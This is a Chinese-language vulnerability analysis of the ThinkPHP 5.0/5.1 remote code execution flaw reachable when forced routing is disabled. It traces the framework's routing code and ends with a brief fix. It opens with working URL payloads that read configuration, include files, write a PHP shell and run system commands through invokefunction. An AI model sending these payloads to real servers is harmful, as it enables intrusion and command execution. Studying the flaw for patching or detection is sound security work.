thinkphp5.0.x未开启强制路由rce漏洞解析
影响版本:
5.0-5.0.23
5.1.*
5.0.*
?s=index/think\config/get&name=database.username # 获取配置信息 ?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件 ?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
5.1.*
?s=index/\think\Request/input&filter[]=system&data=pwd ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?> ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
漏洞复现:
漏洞分析:
在app类执行run方法处下断点进行跟进
跟进到routeCheck方法
routeCheck方法代码:
1 public static function routeCheck($request, array $config) 2 { 3 $path = $request->path(); 4 $depr = $config['pathinfo_depr']; 5 $result = false; 6 7 // 路由检测 8 $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on']; 9 if ($check) { 10 // 开启路由 11 if (is_file(RUNTIME_PATH . 'route.php')) { 12 // 读取路由缓存 13 $rules = include RUNTIME_PATH . 'route.php'; 14 is_array($rules) && Route::rules($rules); 15 } else { 16 $files = $config['route_config_file']; 17 foreach ($files as $file) { 18 if (is_file(CONF_PATH . $file . CONF_EXT)) { 19 // 导入路由配置 20 $rules = include CONF_PATH . $file . CONF_EXT; 21 is_array($rules) && Route::import($rules); 22 } 23 } 24 } 25 26 // 路由检测(根据路由定义返回不同的URL调度) 27 $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); 28 $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; 29 30 if ($must && false === $result) { 31 // 路由无效 32 throw new RouteNotFoundException(); 33 } 34 } 35 36 // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索 37 if (false === $result) { 38 $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); 39 } 40 41 return $result; 42 }
继续跟进path方法:
1 public function path() 2 { 3 if (is_null($this->path)) { 4 $suffix = Config::get('url_html_suffix'); 5 $pathinfo = $this->pathinfo(); 6 if (false === $suffix) { 7 // 禁止伪静态访问 8 $this->path = $pathinfo; 9 } elseif ($suffix) { 10 // 去除正常的URL后缀 11 $this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo); 12 } else { 13 // 允许任何后缀访问 14 $this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo); 15 } 16 } 17 return $this->path; 18 }
通过path方法中的代码可以发现最后返回的值是通过pathinfo方法得到的,需要跟进一下看一看:
1 public function pathinfo() 2 { 3 if (is_null($this->pathinfo)) { 4 if (isset($_GET[Config::get('var_pathinfo')])) { 5 // 判断URL里面是否有兼容模式参数 6 $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')]; 7 unset($_GET[Config::get('var_pathinfo')]); 8 } elseif (IS_CLI) { 9 // CLI模式下 index.php module/controller/action/params/... 10 $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : ''; 11 } 12 13 // 分析PATHINFO信息 14 if (!isset($_SERVER['PATH_INFO'])) { 15 foreach (Config::get('pathinfo_fetch') as $type) { 16 if (!empty($_SERVER[$type])) { 17 $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ? 18 substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type]; 19 break; 20 } 21 } 22 } 23 $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/'); 24 } 25 return $this->pathinfo; 26 }
这里第5行中的兼容模式参数就是配置中所设置的
这里是判断传入的url中的参数是否含有s,如果有就将其赋值到给$_SERVER['PATH_INFO'],然后去除两边的 / 并将其值返回。
这里pathinfo的值就是我们传入的s参数的值
这里的判断就是队是否开启强制路由进行检测,如果开启强制路由就不会触发该rce,该配置默认是未开启的
通过parseUrl方法进行解析
先将/替换成|,然后将将传入的$path就行解析
跟进parseUrlPath方法:
private static function parseUrlPath($url) { // 分隔符替换 确保路由定义使用统一的分隔符 $url = str_replace('|', '/', $url); $url = trim($url, '/'); $var = []; if (false !== strpos($url, '?')) { // [模块/控制器/操作?]参数1=值1&参数2=值2... $info = parse_url($url); $path = explode('/', $info['path']); parse_str($info['query'], $var); } elseif (strpos($url, '/')) { // [模块/控制器/操作] $path = explode('/', $url); } else { $path = [$url]; } return [$path, $var]; }
最后得到$dispatch
跟进exec方法:
跟进module方法:
先对控制器和操作名进行获取,并且通过controller和action方法赋值到$this变量中
接着跟进实例化控制器,controller方法,保存在$instance
最后通过反射来调用方法来执行命令
使用call_user_func_array方法回调system函数执行了whoami命令
最后返回了$data值
修复:
对控制器名进行过滤
参考:
https://www.cnblogs.com/0daybug/p/13739923.html